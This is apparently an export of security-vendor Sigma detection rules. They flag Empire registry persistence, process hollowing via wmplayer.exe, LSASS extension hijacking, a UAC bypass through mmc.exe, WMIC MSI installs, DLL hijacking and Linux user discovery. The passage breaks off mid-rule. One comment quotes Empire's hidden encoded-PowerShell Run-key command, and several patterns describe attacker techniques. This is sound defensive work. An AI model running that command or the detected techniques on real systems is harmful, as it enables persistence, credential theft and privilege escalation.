+  "content": "title: PowerShell Empire User Registry Persistence Added\nid: 34a21b7c-a509-4ce9-8c33-ea21d448fe4c\ndescription: |\n    Detects a suspicious registry persistence in the user hive that is related to the Empire Attack Framework.\n    Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\n    It is recommended to investigate the process responsible for the creation of the registry value as well as to look for other suspicious activity on the host.\nreferences:\n    - https://github.com/EmpireProject/Empire\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2020/10/12\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1059.001\n    - attack.t1112\n    - attack.s0363\n    - classification.Windows.Source.Registry\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Empire\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\*'\n\n    # By default, this is \"Updater\" value with this content:\n    # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKCU:Software\\Microsoft\\Windows\\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x\"\n    selection_variant_1:\n        TargetObject|endswith: 'Updater'\n        Details|contains: 'powershell -Win Hidden -enc '\n\n    selection_variant_2:\n        Details|contains|all:\n            - '((gp '\n            - 'powershell -Win Hidden -enc '\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "34a21b7c-a509-4ce9-8c33-ea21d448fe4c",
+  "rule_name": "PowerShell Empire User Registry Persistence Added",
+  "rule_description": "Detects a suspicious registry persistence in the user hive that is related to the Empire Attack Framework.\nEmpire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent.\nIt is recommended to investigate the process responsible for the creation of the registry value as well as to look for other suspicious activity on the host.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "34bbb586-af60-4292-9d46-f0b19f943763",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086641Z",
+  "creation_date": "2026-03-23T11:45:34.086643Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086647Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_wmplayer.yml",
+  "content": "title: Wmplayer.exe Sacrificial Process Spawned\nid: 34bbb586-af60-4292-9d46-f0b19f943763\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary wmplayer.exe, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used, for instance, by the Vidar malware.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the wmplayer.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/08/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '?:\\Program Files\\Windows Media Player\\wmplayer.exe'\n            - '?:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe'\n\n    filter_legit_parent:\n        ProcessParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Program Files\\Windows Media Player\\wmplayer.exe'\n            - '?:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe'\n\n    exclusion_bow_medical:\n        ProcessParentCompany: 'BOW MEDICAL'\n        ProcessParentProduct: 'Diane'\n\n    exclusion_parentimage:\n        ProcessParentImage:\n            - '?:\\Program Files\\Archimed\\Ermes\\Taskbar\\BarT.exe'\n            - '?:\\Program Files\\Realtek\\Audio\\HDA\\RAVCpl64.exe'\n            - '?:\\Program Files\\Logitech\\SetPointP\\SetPoint.exe'\n\n    exclusion_sihost:\n        ProcessAncestors: '?:\\Windows\\System32\\sihost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "34bbb586-af60-4292-9d46-f0b19f943763",
+  "rule_name": "Wmplayer.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary wmplayer.exe, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used, for instance, by the Vidar malware.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the wmplayer.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-08-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "350af387-e9a3-4e77-9a58-89347f95b77d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094204Z",
+  "creation_date": "2026-03-23T11:45:34.094207Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094211Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Maldev-Academy/LsassHijackingViaReg",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_extension_hijacking_via_registry.yml",
+  "content": "title: Lsass Extension Hijacking via Registry\nid: 350af387-e9a3-4e77-9a58-89347f95b77d\ndescription: |\n    Detects the modification of LSASS extension registry keys that could indicate DLL hijacking for persistence at system boot.\n    LSASS (Local Security Authority Subsystem Service) reads specific registry keys at startup to load legitimate DLLs from the System32 directory, specifically the Extension values under \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LsaExtensionConfig\\Interfaces\\1001\" (for lsasrv.dll) and \"1002\" (for dpapisrv.dll). Attackers with TrustedInstaller-level privileges can modify these registry entries to replace the legitimate DLL paths with malicious ones.\n    This technique typically requires disabling Process Protection Light (PPL) to load unsigned DLLs without causing boot loops and system instability.\n    It is recommended to investigate the process that modified the registry key, verify the digital signature of any DLL referenced in the modified registry value, check for concurrent PPL bypass activities on the machine, and examine the contents of the replacement DLL for malicious behavior or functionality.\nreferences:\n    - https://github.com/Maldev-Academy/LsassHijackingViaReg\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2025/04/30\nmodified: 2025/05/13\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\LsaExtensionConfig\\Interfaces\\100?\\Extension'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "350af387-e9a3-4e77-9a58-89347f95b77d",
+  "rule_name": "Lsass Extension Hijacking via Registry",
+  "rule_description": "Detects the modification of LSASS extension registry keys that could indicate DLL hijacking for persistence at system boot.\nLSASS (Local Security Authority Subsystem Service) reads specific registry keys at startup to load legitimate DLLs from the System32 directory, specifically the Extension values under \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LsaExtensionConfig\\Interfaces\\1001\" (for lsasrv.dll) and \"1002\" (for dpapisrv.dll). Attackers with TrustedInstaller-level privileges can modify these registry entries to replace the legitimate DLL paths with malicious ones.\nThis technique typically requires disabling Process Protection Light (PPL) to load unsigned DLLs without causing boot loops and system instability.\nIt is recommended to investigate the process that modified the registry key, verify the digital signature of any DLL referenced in the modified registry value, check for concurrent PPL bypass activities on the machine, and examine the contents of the replacement DLL for malicious behavior or functionality.\n",
+  "rule_creation_date": "2025-04-30",
+  "rule_modified_date": "2025-05-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3513b78c-9d58-4bdd-8974-73e3fcfa3960",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074399Z",
+  "creation_date": "2026-03-23T11:45:34.074401Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074406Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_mmc.yml",
+  "content": "title: Suspicious mmc.exe Execution\nid: 3513b78c-9d58-4bdd-8974-73e3fcfa3960\ndescription: |\n    Detects a suspicious execution of the legitimate mmc.exe Windows binary that can be the result of an UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/04/29\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_variant1:\n        ProcessGrandparentIntegrityLevel: 'Medium'\n        ProcessParentIntegrityLevel: 'High'\n        ProcessIntegrityLevel: 'High'\n        ProcessParentImage:\n            - '?:\\windows\\system32\\mmc.exe'\n            - '?:\\windows\\SysWOW64\\mmc.exe'\n\n    selection_variant2:\n        ProcessGrandparentIntegrityLevel: 'High'\n        ProcessGrandparentImage|endswith: '\\eventvwr.exe'\n        ProcessParentIntegrityLevel: 'High'\n        ProcessParentImage:\n            - '?:\\windows\\system32\\mmc.exe'\n            - '?:\\windows\\SysWOW64\\mmc.exe'\n        ProcessIntegrityLevel: 'High'\n\n    filter_grandparent:\n        ProcessGrandparentImage:\n            - '?:\\windows\\explorer.exe'\n            - '?:\\Windows\\System32\\RuntimeBroker.exe'\n            - '?:\\Windows\\System32\\control.exe'\n            - '?:\\Windows\\System32\\CompMgmtLauncher.exe'\n            - '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    filter_legitimate_child:\n        - ProcessImage:\n            - '?:\\Windows\\System32\\mmc.exe'\n            - '?:\\Windows\\SysWOW64\\mmc.exe'\n            - '?:\\Windows\\System32\\vmconnect.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\eventvwr.exe'\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\shrpubw.exe'\n            - '?:\\Windows\\System32\\Dism\\DismHost.exe'\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\System32\\certreq.exe'\n            - '?:\\WINDOWS\\system32\\TpmInit.exe'\n            - '?:\\Windows\\System32\\DeviceProperties.exe'\n            - '?:\\Windows\\System32\\msra.exe'\n            - '?:\\Windows\\System32\\DWWIN.EXE'\n        - ProcessParentCommandLine|contains: 'printmanagement.msc'\n          CommandLine|contains: 'rundll32 ?:\\WINDOWS\\system32\\spool\\DRIVERS\\'\n        - Image|startswith: '?:\\Windows\\System32\\spool\\drivers\\'\n        - Image: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n          Signed: 'true'\n          ProcessSignature: 'Microsoft Windows'\n        - ProcessParentCommandLine: '?:\\Windows\\system32\\mmc.exe ?:\\Program Files\\Citrix\\Desktop Studio\\Studio.msc ?:\\Program Files\\Citrix\\Desktop Studio\\LaunchConsole.exe'\n          CommandLine|contains|all:\n            - 'Citrix.DelegatedAdmin'\n            - 'Citrix.Configuration'\n            - 'Citrix.Storefront.'\n\n    exclusion_certmgr:\n        ProcessParentCommandLine|startswith: '?:\\Windows\\System32\\mmc.exe ?:\\WINDOWS\\system32\\certmgr.msc /certmgr:'\n        ProcessCommandLine|startswith: '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\system32\\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd '\n\n    exclusion_dismhost:\n        ProcessImage|endswith: '\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3513b78c-9d58-4bdd-8974-73e3fcfa3960",
+  "rule_name": "Suspicious mmc.exe Execution",
+  "rule_description": "Detects a suspicious execution of the legitimate mmc.exe Windows binary that can be the result of an UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-04-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3617b63f-e1c4-4deb-bc9b-23b656ed3530",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607226Z",
+  "creation_date": "2026-03-23T11:45:34.607229Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607237Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/v4resk/red-book/blob/main/redteam/weapon/code-execution/wmic.md",
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1218/007/"
+  ],
+  "name": "t1047_wmic_software_installation.yml",
+  "content": "title: Suspicious WMIC Software Installation\nid: 3617b63f-e1c4-4deb-bc9b-23b656ed3530\ndescription: |\n    Detects the use of a specific wmic command to install software.\n    This command leverages WMI to trigger software installation via Windows Installer and can be abused to fetch and execute remote MSI packages.\n    It is recommended to analyze the parent process, the source of the MSI, and the execution context of this command to determine legitimacy as well as to look for other malicious actions on the host.\nreferences:\n  - https://github.com/v4resk/red-book/blob/main/redteam/weapon/code-execution/wmic.md\n  - https://attack.mitre.org/techniques/T1047/\n  - https://attack.mitre.org/techniques/T1218/007/\ndate: 2025/05/16\nmodified: 2025/09/09\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.defense_evasion\n    - attack.t1218.007\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_img:\n        - Image|endswith: '\\WMIC.exe'\n        - OriginalFileName: 'wmic.exe'\n\n    selection_cmd:\n        CommandLine|contains: 'product call install'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3617b63f-e1c4-4deb-bc9b-23b656ed3530",
+  "rule_name": "Suspicious WMIC Software Installation",
+  "rule_description": "Detects the use of a specific wmic command to install software.\nThis command leverages WMI to trigger software installation via Windows Installer and can be abused to fetch and execute remote MSI packages.\nIt is recommended to analyze the parent process, the source of the MSI, and the execution context of this command to determine legitimacy as well as to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2025-05-16",
+  "rule_modified_date": "2025-09-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1218.007",
+    "attack.t1546.016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "361a7f11-197f-487c-8b62-ff56a0918f88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097379Z",
+  "creation_date": "2026-03-23T11:45:34.097381Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097386Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_choic.yml",
+  "content": "title: DLL Hijacking via choice.exe\nid: 361a7f11-197f-487c-8b62-ff56a0918f88\ndescription: |\n    Detects potential Windows DLL Hijacking via choice.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'choice.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "361a7f11-197f-487c-8b62-ff56a0918f88",
+  "rule_name": "DLL Hijacking via choice.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via choice.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "361b764f-8b11-4ec2-b6dd-2d8fb7195f6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296762Z",
+  "creation_date": "2026-03-23T11:45:35.296764Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296768Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/users.1.html",
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1033_users_linux.yml",
+  "content": "title: Users Execution\nid: 361b764f-8b11-4ec2-b6dd-2d8fb7195f6f\ndescription: |\n    Detects the execution of the 'users' command to print the list of users currently logged into the system.\n    Attackers may use this technique during discovery phase to retrieve the list of existing users or to list users that are currently logged in.\n    It is recommended to correlate this alert with any other discovery activity on the host.\n    If this is a recurring false positive, it is highly recommended to create a whitelist for the offending software.\nreferences:\n    - https://man7.org/linux/man-pages/man1/users.1.html\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2022/12/23\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1087.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/users'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n\n    exclusion_bmc:\n        ParentImage: '/usr/local/bmc-software/client-management/client/bin/mtxopswatproxy'\n\n    exclusion_dynmotd:\n        - ParentCommandLine:\n            - '/bin/sh /usr/local/bin/dynmotd'\n            - '/bin/sh /usr/src/scripts/dymotd.sh'\n        - GrandparentCommandLine:\n            - '/bin/sh /usr/local/bin/dynmotd'\n            - '/bin/sh /usr/src/scripts/dymotd.sh'\n\n    exclusion_update_motd:\n        # sh /etc/update-motd.d/91-u75-systeminfo\n        # /bin/bash /etc/update-motd.d/10-sysinfo\n        - ParentCommandLine|contains: 'sh /etc/update-motd.d/'\n        - GrandparentCommandLine|contains: 'sh /etc/update-motd.d/'\n\n    exclusion_tuxedo:\n        ParentImage|startswith: '/opt/tuxedo-control-center/'\n\n    exclusion_quest_kace:\n        # /data/quest/kace/bin/runkbot\n        # /opt/quest/kace/bin/runkbot\n        - ParentImage|endswith: '/quest/kace/bin/runkbot'\n        - GrandparentImage|endswith: 'quest/kace/bin/runkbot'\n\n    exclusion_ovirt:\n        - ParentCommandLine:\n            - '/usr/bin/python?.? /usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n            - '/usr/bin/python? /usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n            - '/usr/bin/python /usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n        - GrandparentCommandLine:\n            - '/usr/bin/python?.? /usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n            - '/usr/bin/python? /usr/share/ovirt-guest-agent/ovirt-guest-agent.py*'\n            - '/usr/bin/python 